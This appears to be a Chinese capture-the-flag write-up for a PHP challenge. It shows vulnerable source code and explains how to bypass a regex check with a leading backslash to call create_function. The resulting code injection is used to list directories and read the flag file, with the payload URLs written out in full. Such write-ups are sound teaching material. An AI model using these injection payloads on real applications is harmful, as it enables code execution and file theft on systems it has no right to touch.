题目地址:http://120.78.164.84:49001/
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
我们来审计下这个代码:
1,看到 $action('',$arg) 这里有两个参数,可以想到create_function()匿名函数代码注入。
2,这里还有一个正则需要绕过,不过这个正则很容易知道只要我们在开头或者结尾加入其他字符就可以绕过了。至于是什么字符,用bp来fuzz一波就可以知道是%5c。
http://120.78.164.84:49001/?action=%5ccreate_function&arg=2;}phpinfo();/*
3,实际上不用%5c,加一个 \ 也能执行,这里涉及到了php的全局命名空间,\create_function就是调用全局的create_function函数。
https://blog.csdn.net/dyw_666666/article/details/90042852
看一下手册中的例子就大概知道是什么意思了。
http://120.78.164.84:49001/?action=\create_function&arg=2;}phpinfo();/*
最终Payload:
http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*